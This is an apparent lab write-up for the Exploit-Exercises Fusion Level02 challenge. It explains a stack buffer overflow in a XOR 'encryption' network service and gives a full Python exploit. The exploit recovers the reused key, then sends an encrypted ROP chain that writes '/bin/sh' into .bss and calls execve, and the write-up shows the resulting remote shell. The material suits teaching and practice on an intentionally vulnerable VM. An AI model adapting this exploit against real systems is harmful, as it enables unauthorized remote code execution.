/ python

Exploit-Exercises - Fusion Level02

New challenge! The description from exploit-exercises:

This level deals with some basic obfuscation / math stuff.

This level introduces non-executable memory and return into libc / .text / return orientated programming (ROP).

Fusion Level02 - Binary protections

This honestly took me some time, but I had lot of fun!

Let's have a look at the source code:

#include "../common/common.c"    

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");
  
  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
      
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}

It is pretty clear where the vulnerability is: an user input of arbitrary size is copied to a local buffer of fixed size (32*4096)... a straight stack-based buffer overflow.

Unfortunately our input is encrypted (xored) with a different pseudorandom key obtained from /dev/urandom every time we connect to the service (cipher function). The key is, however, reused within the same session. The output of this encryption is returned to the user.

void cipher(unsigned char *blah, size_t len)  
{
  static int keyed;
  ...
  if(keyed == 0) {
      ...
      keyed = 1;
  }
  ...
}

Since we are in a while loop and we can call multiple times the vulnerable routine, we'll use the first cycle to extract the key (sending just null bytes) and then send our payload encrypted with the same key to exploit the buffer overflow. The cipher routine will actually "decrypt" our payload (how XOR works) allowing us to overwrite EIP with the desired value.

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 8106]
0x41414141 in ?? ()
(gdb) i r
eax            0x51	81
ecx            0xbfb33c7b	-1078772613
edx            0x1	1
ebx            0xb784cff4	-1216032780
esp            0xbfb53c90	0xbfb53c90
ebp            0x41414141	0x41414141
esi            0x0	0
edi            0x0	0
eip            0x41414141	0x41414141
eflags         0x10246	[ PF ZF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/4x $esp
0xbfb53c90:	0x41414141	0x41414141	0x41414141	0x41414141
(gdb) 

EIP is under control and ESP is pointing to user controlled input. We cannot execute our shellcode directly from the stack due to the Non-Executable Stack policy, but, since the binary is not a PIE we can probably craft a chain of libc function calls (using the GOT) to obtain a shell. Remember also that stdin and stdout are redirected to the socket connection.

(gdb) disas 0x80489b0
Dump of assembler code for function execve@plt:
   0x080489b0 <+0>:	jmp    DWORD PTR ds:0x804b3d8
   0x080489b6 <+6>:	push   0xc0
   0x080489bb <+11>:	jmp    0x8048820
End of assembler dump.

The "system()" function is not available, but we have "execve()" which works fine. Since there is no "/bin/sh" string in the binary we must write it ourselves to a writable memory location (bss?) with a bunch of "snprintf()" calls.

(gdb) disas 0x80489f0
Dump of assembler code for function snprintf@plt:
   0x080489f0 <+0>:	jmp    DWORD PTR ds:0x804b3e8
   0x080489f6 <+6>:	push   0xe0
   0x080489fb <+11>:	jmp    0x8048820
End of assembler dump.
0804b418 g       *ABS*	00000000              __bss_start
0804b420  w    O .bss	00000004              environ@@GLIBC_2.0
root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/sh"
Gadgets information
============================================================

Total strings found: 0

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "sh"
Gadgets information
============================================================

Total strings found: 0

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "/bin/"
Gadgets information
============================================================
0x08049d78: "/bin/"

Total strings found: 1

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "s"
Gadgets information
============================================================
0x08048142: "s"
...

Total strings found: 109

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g -string "h"
Gadgets information
============================================================
0x080484e1: "h"
...

Total strings found: 51

The stack will look something similar:

Stack Layout

After the execve we should be able to interact with the remote system:

Claudios-MacBook-Pro:fusion claudio$ python level02-1.py 
[*] Obtaining key
[+] Key acquired 678e14cb51840e93837e0a6200b7ed53d775eef2dd431b6fc5db063b78848fcccdc3bab6954e37af336ad172d5962272ffcc15ca718fc1d4f88bd7636a59e952364ef7e5f4cc3cbf592e9e91e03476a2526b62eeb7d5eed0e2903823e2e0e4248a2cd5123d15539ad07bf8d5c0f34e0c6110a51a1b04a1a6b7eb520bea7d6c85
[*] Encrypting payload
[*] Sending exploit
[+] Done... enjoy!
id
uid=20002 gid=20002 groups=20002
hostname
fusion
ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
media
mnt
opt
proc
rofs
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old

And finally the python exploit

import socket
import struct 
import time
import telnetlib

T = "172.16.165.130"
P = 20002
key_sz = 32*4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((T,P))

def crypt(value, key): 
 return ''.join(chr(ord(value[x])^ord(key[x % key_sz])) for x in range(len(value)))
  
print "[*] Obtaining key" 
s.recv(100) # message from srv
s.send("E")
s.send(struct.pack("I", key_sz))
s.send("\x00" * key_sz)
time.sleep(0.5)
s.recv(121) # message from srv
sz = s.recv(4)
sz = struct.unpack("I", sz)[0]
key = s.recv(sz)
print "[+] Key acquired %s" % key.encode("hex")

payl = "A"*131088 #junk
payl += struct.pack("I",0x08049734) #eip -> ret

payl += struct.pack("I",0x080489f0) # snprintf    int snprintf(char *str, size_t size, const char *format, ...);
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b420) # snprintf - dest: bss[0]
payl += struct.pack("I",0x00000006) # snprintf - size: 6 (including null byte)
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08049d78) # snprintf - src: "/bin/"

payl += struct.pack("I",0x080489f0) # snprintf
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b425) # snprintf - dest: bss[5]
payl += struct.pack("I",0x00000002) # snprintf - size: 2
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08049d74) # snprintf - src: 's'

payl += struct.pack("I",0x080489f0) # snprintf
payl += struct.pack("I",0x080499bc) # ppppr
payl += struct.pack("I",0x0804b426) # snprintf - dest: bss[6]
payl += struct.pack("I",0x00000002) # snprintf - size: 2
payl += struct.pack("I",0x08049d7d) # snprintf - format: "%s"
payl += struct.pack("I",0x08048bf4) # snprintf - src: 'h'

payl += struct.pack("I",0x080489b0) # execve
payl += struct.pack("I",0xcccccccc) # last return
payl += struct.pack("I",0x0804b420) # execve - command: (bss) "/bin/sh"
payl += "\x00"*8 #execve args + env

print "[*] Encrypting payload"
payl = crypt(payl, key)
payl_size = len(payl)
print "[*] Sending exploit"
s.send("E")
s.send(struct.pack("I", payl_size))
s.send(payl)
time.sleep(0.5)
s.recv(120) # message from srv
sz = s.recv(4)
sz = struct.unpack("I", sz)[0]
buff = s.recv(sz)

s.send("Q")

print "[+] Done... enjoy!"
t = telnetlib.Telnet()
t.sock = s
t.interact()